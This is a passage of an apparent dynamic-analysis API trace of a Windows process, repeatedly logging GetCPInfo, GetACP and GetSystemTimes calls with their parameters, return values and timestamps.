CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.403] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.403] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.403] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.403] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.403] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.403] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.403] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.403] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.403] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.404] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.404] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.404] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.404] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.404] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.404] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.404] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.404] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.404] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.404] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.404] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.404] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.404] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.404] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.404] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.404] GetACP () returned 0x4e4 [0049.404] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.405] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.405] GetACP () returned 0x4e4 [0049.405] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.406] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.406] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.406] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.406] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.406] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.406] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.406] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.406] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.406] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.406] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.407] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.407] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.407] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.407] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.407] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.407] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.407] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.407] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.407] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.407] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.407] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.407] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.407] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.407] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.407] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.407] GetACP () returned 0x4e4 [0049.407] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.408] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.408] GetACP () returned 0x4e4 [0049.408] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.409] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.409] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.409] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.409] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.409] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.409] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.409] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.409] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.409] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.409] GetACP () returned 0x4e4 [0049.410] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.415] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.415] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.416] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.416] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.416] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.416] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.416] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.416] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.416] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.416] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.416] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.416] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.416] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.416] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.416] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.416] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.416] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.416] GetACP () returned 0x4e4 [0049.416] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.417] GetACP () returned 0x4e4 [0049.417] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.417] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: 